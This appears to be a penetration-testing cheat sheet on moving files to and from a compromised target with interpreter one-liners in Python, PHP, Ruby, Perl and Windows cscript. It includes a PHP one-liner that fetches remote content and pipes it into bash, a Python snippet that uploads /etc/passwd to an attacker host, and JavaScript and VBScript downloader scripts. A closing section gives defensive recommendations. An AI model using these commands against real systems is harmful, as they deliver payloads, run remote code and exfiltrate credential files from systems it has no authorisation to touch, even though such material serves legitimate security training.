π‘οΈ Methodology Checklist
- Python upload:
python3 -c "import urllib.request; urllib.request.urlretrieve('http://[LHOST]/file', 'file')" - PHP download:
php -r "file_put_contents('file', fopen('http://[LHOST]/file', 'r'));" - Ruby:
ruby -e "require 'net/http'; IO.copy_stream(Net::HTTP.get_response(URI('http://[LHOST]/file')).body, 'file')" - Perl:
perl -e "use LWP::Simple; getstore('http://[LHOST]/file','file');" - JavaScript (Node):
require('child_process').execSync('curl -o file http://[LHOST]/file') - Verify download completed and check file integrity
π― Operational Context
Use when: No native transfer tools available β use language interpreter (Python, PHP, Ruby, Perl) to transfer files when wget/curl/nc are absent.
Think Dumber First: Python HTTP server (python3 -m http.server) is the fastest hosting method on the attack box. On target: python3 -c "import urllib.request; urllib.request.urlretrieve('http://[LHOST]/file', '/tmp/file')" β single line, always works if Python3 present.
Skip when: Python not available β fall back to /dev/tcp or SMB.
β‘ Tactical Cheatsheet
| Command | Tactical Outcome |
|---|---|
python3 -c 'import urllib.request;urllib.request.urlretrieve("http://[TARGET_IP]/[FILE]","[FILE]")' | Python 3 download |
python2.7 -c 'import urllib;urllib.urlretrieve("http://[TARGET_IP]/[FILE]","[FILE]")' | Python 2 download (legacy servers) |
python3 -c 'import requests;requests.post("http://[TARGET_IP]:8000/upload",files={"files":open("[FILE]","rb")})' | Python 3 upload via requests |
php -r '$file = file_get_contents("http://[TARGET_IP]/[FILE]"); file_put_contents("[FILE]",$file);' | PHP download via file_get_contents |
php -r 'const BUFFER=1024;$f=fopen("http://[TARGET_IP]/[FILE]","rb");$l=fopen("[FILE]","wb");while($b=fread($f,BUFFER)){fwrite($l,$b);}fclose($l);fclose($f);' | PHP stream download (large files) |
php -r '$lines=@file("http://[TARGET_IP]/[FILE]");foreach($lines as $l){echo $l;}' | bash | PHP fileless execution |
ruby -e 'require "net/http"; File.write("[FILE]", Net::HTTP.get(URI.parse("http://[TARGET_IP]/[FILE]")))' | Ruby download |
perl -e 'use LWP::Simple; getstore("http://[TARGET_IP]/[FILE]","[FILE]");' | Perl download |
cscript.exe /nologo wget.js http://[TARGET_IP]/PowerView.ps1 PowerView.ps1 | Windows β JavaScript download via cscript |
cscript.exe /nologo wget.vbs http://[TARGET_IP]/PowerView.ps1 PowerView.ps1 | Windows β VBScript download via cscript |
π¬ Deep Dive & Workflow
When to Use Code One-Liners
Standard tools like wget, curl, and scp may be absent on minimally provisioned systems. Check whatβs available with which python python3 php ruby perl.
PHP on Web Servers
~78% of websites run PHP. If the target has a web server, PHP is likely available. Use -r for one-liners.
Windows Scripting (No PowerShell)
Create these files on the target using echo redirection, then execute with cscript:
wget.js (JavaScript):
var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), false);
WinHttpReq.Send();
BinStream = new ActiveXObject("ADODB.Stream");
BinStream.Type = 1;
BinStream.Open();
BinStream.Write(WinHttpReq.ResponseBody);
BinStream.SaveToFile(WScript.Arguments(1));wget.vbs (VBScript):
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", WScript.Arguments.Item(0), False
xHttp.Send
with bStrm
.type = 1 : .open : .write xHttp.responseBody
.savetofile WScript.Arguments.Item(1), 2
end withPython Upload Breakdown
import requests
URL = "http://[ATTACKER_IP]:8000/upload"
file = open("/etc/passwd", "rb")
r = requests.post(URL, files={"files": file})Language Priority Check
which python python3 php ruby perlAttempt in order: Python3 β Python2 β PHP β Ruby β Perl
π οΈ Troubleshooting & Edge Cases
| Problem | Cause | Fix |
|---|---|---|
| Python urllib fails | SSL certificate error | Add ssl._create_default_https_context = ssl._create_unverified_context before request |
| PHP file_get_contents blocked | allow_url_fopen disabled | Use PHP curl: $c=curl_init('http://[LHOST]/f'); curl_setopt($c,CURLOPT_RETURNTRANSFER,1); file_put_contents('/tmp/f',curl_exec($c)); |
| Ruby Net::HTTP fails | No openssl extension | Use: require 'open-uri'; IO.copy_stream(URI.open('http://[LHOST]/file'), '/tmp/file') |
| Perl LWP not available | Minimal Perl install | Use socket directly: perl -e 'use Socket; ...' socket-based wget equivalent |
| Language interpreter version too old | Python 2 on legacy system | Use Python2 syntax: python -c "import urllib; urllib.urlretrieve('http://[LHOST]/f', '/tmp/f')" (note urllib not urllib.request) |
π Reporting Trigger
Finding Title: File Transfer via Language Interpreter Bypasses Tool Restrictions Impact: Using language interpreters for file transfer evades restrictions on standard transfer tools (wget, curl, nc) by leveraging runtime network capabilities of trusted interpreters already present on the system. Root Cause: Language interpreters (Python, PHP) have unrestricted network access and are available on most server deployments. No monitoring of interpreter-initiated outbound connections. Recommendation: Restrict interpreter network access via AppArmor/SELinux profiles. Monitor interpreter processes for outbound TCP connections. Implement strict egress filtering.